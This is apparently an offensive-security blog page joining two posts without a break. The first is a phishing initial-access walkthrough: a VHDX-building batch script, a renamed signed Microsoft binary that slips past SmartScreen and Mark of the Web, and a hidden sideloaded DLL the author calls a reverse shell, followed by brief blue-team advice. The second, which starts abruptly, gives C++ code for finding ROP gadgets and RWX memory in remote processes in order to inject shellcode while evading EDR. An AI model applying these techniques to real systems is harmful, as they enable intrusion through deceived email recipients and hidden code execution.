copy "%EXE_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

copy "%SCRIPT_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

echo select vdisk file="%VHD_PATH%"
echo detach vdisk
) | diskpart > nul 2>&1

echo [+] Done: %VHD_PATH% (test mount on target)
pause

Ok cool, so that’s one approach. We can simply upload our payload as an attachment. But I’m not satisfied with that approach because it’s crazy restrictive and limited in nature. Let’s continue, as I still need to explain Mark of the Web and Smartscreen protection and some other aspects of initial access that prove difficult for us to contend with. But fear not, I have ways around those restrictions 😸

My Preferred Approach: Using Gmail’s Web Frontend and Hyperlinks for your Payload

Right out of the gate I get sent to the dreaded Junk mail folder:

Hmm, we need to rectify that. Let’s see what we can do. I’ll try sending from another gmail account that is older with a good reputation and change the subject and body a bit.

Interesting huh?! No junk folder this time. This time I sent the email using a gmail address I’ve had for a very long time. 10+ years or so. The other email was my g3tsyst3m@gmail.com email address and it’s exclusively used for offsec convos so who knows maybe it has a bad reputation 😆

I’m betting it’s a combination of factors: Reputational risk for email sender, Subject content, and Body content. Oddly enough I don’t think the github link is considered suspicious by the email client 😸

Okay, so moving on. I’ll click the link in the email we sent soon enough, but before I do, I need to keep you in suspense for a bit. Sorry about that 😄 We still need to go over Mark of the Web and SmartScreen so you can truly understand the real battle we face when downloading payloads. Whether it’s from an email or web browser, you’ll have to deal with this. I’ll cover everything in our next section and then revisit our email we sent to the pentest “victim”.

Introducing Mark of the Web and SmartScreen

When you download a file, depending on where it is being downloaded from, it will have the dreaded Mark of the Web property assigned to it. What does this look like? Glad you asked. I’ll show you 😸

Let’s download a reverse shell python script that I’ve converted to an executable. I’ve previously uploaded it to my Github account. I’ve also changed the icon to somewhat resemble an adobe PDF document. Take a look at the properties of the file. Notice how it has a checkbox that says, “Unlock”? That’s the Mark of the Web property I’ve been mentioning.

If I try and execute this file as-is, I’ll trigger Windows Smart Screen. You have to actually click “More Info” to even get presented the option of running the executable.

We don’t want the unsuspecting pentest customer to have to jump through hoops to execute our payload, right? RIGHT!

Here’s how it would play out if I checked “Unblock”. Notice I don’t get a prompt and the reverse shell works as intended:

So, that’s what we’re up against. But as you can imagine, I have some tricks up my sleeve 😺 Keep following along to see how it all plays out!

Bypassing Mark of the Web and SmartScreen using Trusted Executable Reputation

So the title sort of gives a hint as to how we can bypass both Mark of the Web and SmartScreen. But before I delve further into that, just a quick recap.

• We have an email that we’ve prepared both with and without attachments that bypasses the intitial basic email security filters
• Regardless of whether we have the user click an email link or open an email attachment, the contents will receive the MOTW property and require the user to approve the security prompts
• We wish to bypass both!

Ok, this is pretty awesome. Ready for it? Are you? okay here it is. Go ahead and go into your C:/Windows/System32 directory and locate ApplicationHost.exe. You could have chosen any executable, but we’ll be picking on this one for today’s exercise 😼 Upload that executable to a location of your choosing. I uploaded mine to one of my Github repos. Go ahead and generate the link to your executable and download the file.

Right click on the downloaded file and check out the properties. Still has MOTW right?

Double click on it. What happens?

Yeah…it executes! no SmartScreen. Just pure glorious execution. Now things are startin’ to get exciting! 😸

You can even click it in your Downloads window and it will open no problem. No SmartScreen prompts.

So why is that? Why does it execute without SmartScreen interfering, especially since it still has the MOTW property unchecked.

Simple answer: File reputation.

This is a signed / trusted Microsoft executable. It has also been around for a very long time. Longevity and file signing increase the reputation of this executable considerably. Compare to my python to exe tester executable from earlier. It didn’t stand a chance. Unsigned, untrusted, just created, yeah you get it. Similar to email sender reputation, files have reputational value and reputational risk too. So now we’re left with a benign Microsoft executable that is trusted. Where do we go from here?

Let me introduce you to my good friends - A Trusted Executable and DLL Sideloading 😸

If you load up ApplicationFrameHost.exe into procmon, you’ll see some DLL’s that don’t have a home. Yeah, you know what we’re going to have to do right? Help one of those DLLs find a home!

Here’s my procmon filter’s and also the results from applying the filters and running ApplicationFrameHost.exe

As you can see, our trusted program is trying to find a home for a few DLLs and the one we’ll be helping out is: UMPDC.dll

I also elected to use an x64 executable versus an x86. I prefer more current architecture support personally 😸

Now we just need a simple test DLL to ensure this works as expected. Here’s a very simple DLL template to test our DLL sideloading:

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(nullptr, "Hey!", "It's a me...a messagebox that was DLL sideloaded!", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compile that, rename it to UMPDC.dll, and place your compiled DLL in the same directory as ApplicationFrameHost.exe and open ApplicationFrameHost.exe

BAM! Works like a charm. 😸 It will work exactly the same way if we package this and download + execute it from the web. So, let’s package this where it can be sent in our email from earlier!

Here’s the kicker. There are two files we need the user to download. The only conceivable way we can do that, as I see it, are two ways:

• Zip the two files and have the user extract them and run the ApplicationFrameHost.exe (which you will need to rename to something less generic!). You may ask yourself,”but why have them extract the files. Can’t they just open the zip and double click on the executable?” Sort of, but it doesn’t work the way we want it to. Essentially, the executable has no clue where the DLL file is. If you just double-click on the .exe, it will run without SmartScreen as expected, but your DLL won’t execute because it’s still stuck in limbo. Ironic isn’t it, since we’re relying on DLL sideloading to load the DLL. 😸
• Zip the files inside of a VHDX file like we did earlier. This is my recommended approach, but it comes with a catch. The VMDK file will prompt for approval to mount, but once mounted the new drive will open automatically and present the user with both files. The files contained within the VHDX will NOT require approval to execute. You can click on the .exe and no SmartScreen will come up!

Bringing it all Together!

Let’s wrap this up shall we! I wish I could go further into all my research on this topic but I’ve got a lot on my plate these days so this post will have to do for the time being 😺 I’ll be sharing additional content to supplement this blog post on my ko-fi shop though, as per my usual routine!

Ok, let’s start by creating a fresh VHDX disk file and move our DLL and renamed ApplicationFrameHost.exe into it. I also wish to make and preserve the hidden attribute for the DLL file. Most folks might be put off by seeing a random DLL file plus it’s just tacky to leave that visible on a pentest. Here’s my revised script to handle all of that. Notice how I use xcopy.exe to handle the preservation of the hidden file attribute:

@echo off
setlocal enabledelayedexpansion

set VHD_PATH=C:\Temp\DocumentUpdate.vhdx
set VHD_SIZE_MB=64
set EXE_TO_COPY=C:\Temp\DocumentRetrieval.exe
set SCRIPT_TO_COPY=C:\Temp\UMPDC.dll

echo [+] Creating 1GB VHDX...
(
echo create vdisk file="%VHD_PATH%" maximum=%VHD_SIZE_MB% type=expandable
echo select vdisk file="%VHD_PATH%"
echo attach vdisk
echo create partition primary
echo format fs=ntfs label="Documents2026" quick
echo assign letter=X
) | diskpart > nul 2>&1

REM Detect actual letter if X taken
for %%d in (X Y Z W V U T S R Q P O N M L K J I H G F E D C B A) do (
    if exist %%d:\ (
        echo [+] Drive %%d: available? No.
    ) else (
        echo [+] Assigning %%d:
        echo select disk !disknum!
        echo select partition 1
        echo assign letter=%%d
        ) | diskpart > nul 2>&1
        set DRIVE_LETTER=%%d
        goto :copy
    )
)

:copy

xcopy "%EXE_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

xcopy "%SCRIPT_TO_COPY%" "%DRIVE_LETTER%:\" /h
echo [+] Copied to %DRIVE_LETTER%:\

echo select vdisk file="%VHD_PATH%"
echo detach vdisk
) | diskpart > nul 2>&1

echo [+] Done: %VHD_PATH% (test mount on target)
pause

Go ahead and run that and be sure to zip the outputted VHDX file. It’s almost 70MB otherwise 😆

Now upload that zip file to your web host of choice and generate a link to it. I’m still using Github for the purposes of this blog post. Go ahead and prepare your email and add the link to the body of the email, and send it. I’m using gmail to send the email per our example from earlier:

Here’s the receiving of the email from my other email address, an outlook.com email:

Let’s click the link! Notice we receive no browser security warnings and the file downloads.

Click on it. The zip opens without a prompt:

Now, double click the VHDX file. You will receive an initial prompt, which can’t be avoided to my knowledge. Go ahead and accept:

You’ll notice we are greeted with our Payload and no DLL file is visible (unless the client has show hidden files enabled):

Double click our Payload. Notice no SmartScreen warning and our payload runs as expected and DLL sideloads our planted DLL! My dll is a reverse shell btw, as you can see in the screenshot below 😸

Thus completes my take on ways to tackle initial access using email and bypassing MOTW ad SmartScreen Restrictions 😅

🛡️Blue Team Defensive Strategies to Avoid this Attack Vector 🛡️

Here’s a quick overview on some ways you can get in front of this type of initial access attack vector:

• Block all these email attachments, to name a few: (.ZIP, .ISO, .IMG, .VHD, .VHDX, .EXE, .JS, .VBS, .HTA, .PS1, .PY)
• Have your EDR solution monitor for LOTL (Living off the Land) binaries being used outside of the System32 folder
• Disallow execution of disk files for your average users. IT techs are really the only users who need this functionality
• Convince Microsoft to stop allowing DLL sideloading, though the onus is generally on the programmer to enforce loading all DLLs from strict paths such as System32 😸
• Be restrictive on the types of attachments and outside emails you permit sending to your organization

Source Code

Source code for the basic DLL that executes a MessageBox (Be sure to set the Build to ‘Release’ in Visual Studio!): DLL Source Code

Source code for the final BAT script that creates the VHDX file: VHDX Source Code

🎁 Bonus Content for Members! (Sapphire Tier) 🎁

📓Script for Sending emails via the commandline: Send an email using SWAKS in Linux via Bash 📓 📹 Video demonstration of using the Script (Video link located in description in the ko-fi shop: You MUST be signed in with your gmail address to view the private video!): Video demonstration 📹

📹 Video Walkthrough for Sending your initial access payload: Video demonstration 📹

🎁 Bonus Content for Members! (Emerald + Diamond Tiers) 🎁

• 🗒️ DLL source code that includes Module stomping + reverse shell shellcode (127.0.0.1:9001) and Threading to defeat Loader Lock: Source Code
• 🗒️ Source code for my Python download and exec shellcode in Memory Script: Source Code

ANY.RUN Results

Full Sandbox Analysis

Sponsored By:

• Existing RWX memory regions already available that were created by the process of interest
• Existing ROP gadgets to help us write our shellcode
• Hijacking an existing thread within the remote process to manipulate / set register values via SetThreadContext
• Using registers, assembly stubs + our collected gadgets to copy shellcode in 8 byte chunks into one of the previously discovered RWX regions of memory (This is the most exciting aspect of the technique in my personal opinion😸)
• Set RSP to a fake stack which will point to our hijacked region of memory holding our shellcode and execute the shellcode!
• Profit!

At no point will we use conventional means of writing our shellcode into the remote process with the exception of writing assembly stubs which will contain 8 byte increments of our shellcode. It will all make more sense in due time I promise, just keep on reading 😸 Essentially, we will be truly exhausting all that is already available to the remote process itself. This concept of Living off the Process has intrigued me for quite some time. I don’t know how novel the concept really is. I did know this: I knew it was possible and had to dive in and research it to truly understand the capabilities of such a technique. I’m on a modern Windows 11 25h2 with all security features enabled btw. I’ve got a lot of information to cover, so let’s get started!

So, Living off the Process huh?

Yes! 😆 It may seem overkill to do all the aforementioned prepwork just to copy shellcode into a remote process, but the benefits far outweigh the labor involved. Think about it: If everything that we need is already available to a given process, all we are required to do is to take the existing artifacts and repurpose them for our needs. No need for overusing WriteProcessMemory, VirtualAlloc, injecting a DLL, etc. This way, everything you need to manipulate the remote process is self-contained and already available to the process. Furthermore, we’ll be working with a process that EDR has already blessed 😸 So, just like Living off the Land, we take a similar approach. Using what’s already available to the process, which in turn should lower our EDR footprint on the machine considerably.

Video Teaser for an In-Depth Technical Walkthrough of this Blog Post

Full In-Depth Walkthrough can be found at my ko-fi shop: 📹 Ko-Fi Subscribers 📹

Part - 1: Collecting ROP Gadgets

Since we will be using Registers (you know…RAX, RBX, RCX, RDX, R8, R9, and so on… ) to eventually write our shellcode, we need to find existing ROP gadgets in the process to accomplish this. The most important ROP gadget we will be using is:

mov [rax], r8; ret

Where R8 will hold 8-byte chunks of our shellcode and RAX will point to the memory address for the shellcode in the remote process. You can use any two registers to handle this, I just so happened to choose these two because they seemed to be available across many of the processes I tested on my Windows 11 box.

So, here’s how it works: We will be copying the initial 8 bytes, then increasing both RAX and R8 by 8 to get the next 8 bytes in memory and the next 8 bytes of shellcode respectively. I soon realized it’s difficult locating add r8, 8; ret and add rax, 8; ret gadgets. Even inc r8; ret and inc rax; ret were difficult to locate. So, I went with another angle to accomplish the portion of my ROP gadget chain that would handle the 8 byte increments which you’ll see later. For now, let me show you how I found these gadgets. I’m old school, so I don’t always use Ropper. I like to work exclusively within x64dbg for most of my gadget searching needs these days. Here’s a quick crash course on how to find gadgets using x64Dbg:

Step 1: Choose File, Attach, and find a process you want to search for gadgets in

Step 2: Right click on the main window and following the visual below

Step 3: Type in mov [rax], r8 in the window that pops up and hit enter. This is so we can understand what the machinecode instructions are for this command

• Double-click on any entry from the listed results

Copy the machinecode/shellcode!

Next, we need to find the gadget with the ret command included. so, mov [rax], r8; ret. We can do that easily enough. Follow along with the visuals below to use the Pattern Search feature in x64dbg:

Type in the machine code values you acquired earlier: `4C 89 00 C3’ (C3 = ret in machine code) and hit enter

Double-click on any you find in the returned results:

You should see your ROP gadget and the module it was found in! This confirms that particular gadget lives in this process. W00t!

That’s it! Now that you know how to find gadgets, you’re good to go. Let me show you the code for using them now. You’ll see we add in our machine code instructions we found in x64dbg. Machine code is the lowest level form of Assembly code. so in the case of mov [rax], r8; ret', 0x4C, 0x89, 0x00, 0xC3` = machine code representation of the assembly code instructions. I should have said that earlier but alas I got ahead of myself 😸

    DWORD pid = (DWORD)atoi(argv[1]);
    std::wcout << L"[*] Target PID: " << pid << std::endl;

    // Find gadgets (in order of execution)
    BYTE gadget0[] = { 0xC3 }; // ret
    PVOID pgadget0 = FindGadget(pid, gadget0, sizeof(gadget0), "ret");
    if (!pgadget0)
    {
        std::wcout << L"[-] Could not locate any gadgets for: ret" << std::endl;
        return 1;
    }
    BYTE gadget3[] = { 0x4C, 0x89, 0x00, 0xC3 }; // mov [rax], r8; ret
    PVOID pgadget3 = FindGadget(pid, gadget3, sizeof(gadget3), "mov [rax], r8; ret");
    if (!pgadget3)
    {
        std::wcout << L"[-] Could not locate any gadgets for mov [rax], r8; ret" << std::endl;
        return 1;
    }
    BYTE gadget12[] = { 0x5C, 0xC3 }; // pop rsp; ret  (go with a non-volatile register)
    PVOID pgadget12 = FindGadget(pid, gadget12, sizeof(gadget12), "pop rsp; ret ");
    if (!pgadget12)
    {
        std::wcout << L"[-] Could not locate any gadgets for pop rsp; ret " << std::endl;
        return 1;
    }

And the FindGadget() function that finds the memory address for each gadget!

PVOID FindGadget(DWORD pid, const BYTE* gadget, SIZE_T gadgetSize, const char* description) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return nullptr;

    HMODULE hMods[1024];
    DWORD cbNeeded;
    PVOID gadgetAddress = nullptr;

    std::wcout << L"[*] Searching for " << description << L"..." << std::endl;

    if (EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded, LIST_MODULES_ALL)) {
        for (int i = 0; i < (int)(cbNeeded / sizeof(HMODULE)) && !gadgetAddress; ++i) {
            MODULEINFO modInfo;
            WCHAR modName[MAX_PATH];
            if (!GetModuleInformation(hProcess, hMods[i], &modInfo, sizeof(modInfo)) ||
                !GetModuleBaseNameW(hProcess, hMods[i], modName, MAX_PATH)) continue;

            MEMORY_BASIC_INFORMATION mbi{};
            for (BYTE* addr = (BYTE*)modInfo.lpBaseOfDll; addr < (BYTE*)modInfo.lpBaseOfDll + modInfo.SizeOfImage; ) {
                if (!VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) break;
                if (mbi.State == MEM_COMMIT && (mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))) {
                    BYTE* buffer = new BYTE[mbi.RegionSize];
                    SIZE_T bytesRead;
                    if (ReadProcessMemory(hProcess, mbi.BaseAddress, buffer, mbi.RegionSize, &bytesRead)) {
                        for (SIZE_T j = 0; j + gadgetSize <= bytesRead; ++j) {
                            if (memcmp(buffer + j, gadget, gadgetSize) == 0) {
                                gadgetAddress = (PVOID)((uintptr_t)mbi.BaseAddress + j);
                                std::wcout << L"[+] Found in " << modName << L" at 0x" << std::hex << gadgetAddress << " !!!" << std::dec << std::endl;
                                delete[] buffer;
                                CloseHandle(hProcess);
                                return gadgetAddress;
                            }
                        }
                    }
                    delete[] buffer;
                }
                addr += mbi.RegionSize;
            }
        }
    }
    CloseHandle(hProcess);
    return gadgetAddress;
}

That’s a wrap for gadget searching! Let’s move on to the next requirement for leveraging all the possibilities of LOTP (Living off the Process), finding already created RWX memory regions

Finding existing RWX memory within the remote Process

This portion of our LOTP artifact searching doesn’t require too much effort. In fact, you can easily check for already created RWX (Read/Write/Execute) memory regions via SystemInformer. This is probably the easiest artifacts to check as far as Living off the Process goes. There’s more processes that use RWX than you probably realize 😺 Here’s how to do it. I’ll be picking on the Discord process as it is a great candidate 😸

System Informer

Now, we want to do the same thing but programatically right? I’ll share the code to accomplish this below:

// Open process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
    std::wcout << L"[!] Failed to open process (Error: " << GetLastError() << L")" << std::endl;
    return 1;
}

std::wcout << L"[+] Successfully opened process handle" << std::endl;

LPVOID remoteShellcode = nullptr;
LPVOID remoteGadgets = nullptr;
// Find all RWX memory regions
std::wcout << L"\n[*] Scanning for RWX memory regions (4KB only)..." << std::endl;

int reval=FindRWXMemoryRegions(shellcode_base, hProcess, remoteShellcode, remoteGadgets);

Now, let me show you the FindRWXMemoryRegions function itself. We start by looking through all user modules for pre-allocated RWX memory regions. Then once regions are detected, I added the option for you the user to specify which region is going to serve as the gadgets memory region, the shellcode memory region, and the fake stack memory regions. If no RWX regions are found, then I added an alternative default to automatically create the necessary RWX regions. I realize this is counter to the whole notion of LOTP but the functionality is there if you want to use it. Also, the fake stack memory region always needs to be at least 0x4000 in size or greater. So when you pick a memory region, bear that in mind. 🐻 The reason being, well there’s two primary reasons. API’s use up a lot of stack space and I want to make sure when we execute our shellcode we have enough space for that. Also, I want a clean stack that isn’t clobber by preexisting data from the process we injected into.

int FindRWXMemoryRegions(unsigned char* shellcode_base, HANDLE hProcess,
    LPVOID& remoteShellcode, LPVOID& remoteGadgets, LPVOID& remoteStack)
{
    // Note: Requires #include <algorithm> for std::sort

    struct RWXRegion {
        PVOID baseAddress;
        SIZE_T size;
        std::wstring info;
    };

    std::vector<RWXRegion> rwxRegions;
    MEMORY_BASIC_INFORMATION mbi;
    PVOID address = nullptr;

    while (VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
        // Check for RWX (PAGE_EXECUTE_READWRITE) regions with size greater than or equal to 0x1000
        if (mbi.State == MEM_COMMIT &&
            mbi.Protect == PAGE_EXECUTE_READWRITE &&
            mbi.RegionSize >= 0x1000) { 

            RWXRegion region;
            region.baseAddress = mbi.BaseAddress;
            region.size = mbi.RegionSize;

            // Try to get module name for this region
            HMODULE hMod;
            WCHAR modName[MAX_PATH] = L"<Unknown>";
            if (GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
                (LPCWSTR)mbi.BaseAddress, &hMod)) {
                GetModuleFileNameW(hMod, modName, MAX_PATH);
            }

            region.info = modName;
            rwxRegions.push_back(region);
        }

        // Move to next region
        address = (PVOID)((uintptr_t)mbi.BaseAddress + mbi.RegionSize);
    }

    // Sort regions by size (largest first) to ensure stack gets the largest region
    std::sort(rwxRegions.begin(), rwxRegions.end(),
        [](const RWXRegion& a, const RWXRegion& b) {
            return a.size > b.size;
        });

    if (rwxRegions.empty()) {
        std::wcout << L"[!] No RWX regions found (>=4KB)! Falling back to VirtualAllocEx..." << std::endl;
        remoteShellcode = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteShellcode) {
            std::wcout << L"[!] VirtualAllocEx failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated shellcode memory at: 0x" << std::hex << remoteShellcode << std::dec << std::endl;

        // Allocate separate region for gadgets
        remoteGadgets = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteGadgets) {
            std::wcout << L"[!] VirtualAllocEx for gadgets failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated gadgets memory at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;

        // Allocate separate region for clean stack
        remoteStack = VirtualAllocEx(hProcess, NULL, 0x10000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteStack) {
            std::wcout << L"[!] VirtualAllocEx for stack failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated stack memory at: 0x" << std::hex << remoteStack << std::dec << std::endl;
    }
    else if (rwxRegions.size() < 3) {
        std::wcout << L"\n[+] Found only " << rwxRegions.size() << L" RWX region(s) (need 3 for shellcode + gadgets + stack)" << std::endl;
        std::wcout << L"[*] Using found regions and allocating remaining..." << std::endl;
        std::wcout << L"============================================================" << std::endl;

        for (size_t i = 0; i < rwxRegions.size(); ++i) {
            std::wcout << L"[" << i + 1 << L"] Address: 0x" << std::hex << std::setfill(L'0') << std::setw(16)
                << rwxRegions[i].baseAddress << L" | Size: 0x" << rwxRegions[i].size << std::dec
                << L" (" << rwxRegions[i].size << L" bytes)" << std::endl;
            std::wcout << L"    Module: " << rwxRegions[i].info << std::endl;
        }
        std::wcout << L"============================================================" << std::endl;

        // Assign found regions - prioritize stack first, then gadgets, then shellcode
        if (rwxRegions.size() >= 1) {
            remoteStack = rwxRegions[0].baseAddress;
            std::wcout << L"\n[+] Using RWX region for stack at: 0x" << std::hex << remoteStack << std::dec << std::endl;
        }

        if (rwxRegions.size() >= 2) {
            remoteGadgets = rwxRegions[1].baseAddress;
            std::wcout << L"[+] Using RWX region for gadgets at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;
        }

        // Allocate remaining needed regions
        if (rwxRegions.size() < 1) {
            remoteStack = VirtualAllocEx(hProcess, NULL, 0x10000,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (!remoteStack) {
                std::wcout << L"[!] VirtualAllocEx for stack failed (Error: " << GetLastError() << L")" << std::endl;
                CloseHandle(hProcess);
                return 1;
            }
            std::wcout << L"[+] Allocated stack memory at: 0x" << std::hex << remoteStack << std::dec << std::endl;
        }

        if (rwxRegions.size() < 2) {
            remoteGadgets = VirtualAllocEx(hProcess, NULL, 0x1000,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (!remoteGadgets) {
                std::wcout << L"[!] VirtualAllocEx for gadgets failed (Error: " << GetLastError() << L")" << std::endl;
                CloseHandle(hProcess);
                return 1;
            }
            std::wcout << L"[+] Allocated gadgets memory at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;
        }

        // Always need to allocate shellcode since we have less than 3
        remoteShellcode = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!remoteShellcode) {
            std::wcout << L"[!] VirtualAllocEx for shellcode failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }
        std::wcout << L"[+] Allocated shellcode memory at: 0x" << std::hex << remoteShellcode << std::dec << std::endl;
    }
    else {
        std::wcout << L"\n[+] Found " << rwxRegions.size() << L" RWX memory region(s) (sorted by size, largest first):" << std::endl;
        std::wcout << L"============================================================" << std::endl;

        for (size_t i = 0; i < rwxRegions.size(); ++i) {
            std::wcout << L"[" << i + 1 << L"] Address: 0x" << std::hex << std::setfill(L'0') << std::setw(16)
                << rwxRegions[i].baseAddress << L" | Size: 0x" << rwxRegions[i].size << std::dec
                << L" (" << rwxRegions[i].size << L" bytes)" << std::endl;
            std::wcout << L"    Module: " << rwxRegions[i].info << std::endl;
        }

        std::wcout << L"============================================================" << std::endl;

        // Select region for shellcode
        std::wcout << L"\n[?] Select region for SHELLCODE (1-" << rwxRegions.size() << L"): ";
        int shellcodeChoice;
        std::cin >> shellcodeChoice;
        std::cin.ignore();

        if (shellcodeChoice < 1 || shellcodeChoice >(int)rwxRegions.size()) {
            std::wcout << L"[!] Invalid choice!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteShellcode = rwxRegions[shellcodeChoice - 1].baseAddress;
        std::wcout << L"[+] Shellcode region selected: 0x" << std::hex << remoteShellcode << std::dec << std::endl;

        // Select region for gadgets
        std::wcout << L"\n[?] Select region for GADGETS (1-" << rwxRegions.size() << L", different from "
            << shellcodeChoice << L"): ";
        int gadgetsChoice;
        std::cin >> gadgetsChoice;
        std::cin.ignore();

        if (gadgetsChoice < 1 || gadgetsChoice >(int)rwxRegions.size() || gadgetsChoice == shellcodeChoice) {
            std::wcout << L"[!] Invalid choice (must be different from shellcode region)!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteGadgets = rwxRegions[gadgetsChoice - 1].baseAddress;
        std::wcout << L"[+] Gadgets region selected: 0x" << std::hex << remoteGadgets << std::dec << std::endl;

        // Select region for clean stack
        std::wcout << L"\n[?] Select region for CLEAN STACK [!!!You must choose a region with size >= 0x4000 (16kb) !!!] (1-" << rwxRegions.size() << L", different from "
            << shellcodeChoice << L" and " << gadgetsChoice << L"): ";
        int stackChoice;
        std::cin >> stackChoice;
        std::cin.ignore();

        if (stackChoice < 1 || stackChoice >(int)rwxRegions.size() ||
            stackChoice == shellcodeChoice || stackChoice == gadgetsChoice) {
            std::wcout << L"[!] Invalid choice (must be different from shellcode and gadgets regions)!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteStack = rwxRegions[stackChoice - 1].baseAddress;
        std::wcout << L"[+] Stack region selected: 0x" << std::hex << remoteStack << std::dec << std::endl;

        std::wcout << L"\n[*] Memory allocation summary:" << std::endl;
        std::wcout << L"    Shellcode: 0x" << std::hex << remoteShellcode << std::dec << std::endl;
        std::wcout << L"    Gadgets:   0x" << std::hex << remoteGadgets << std::dec << std::endl;
        std::wcout << L"    Stack:     0x" << std::hex << remoteStack << std::dec << std::endl;
    }

    return 0;
}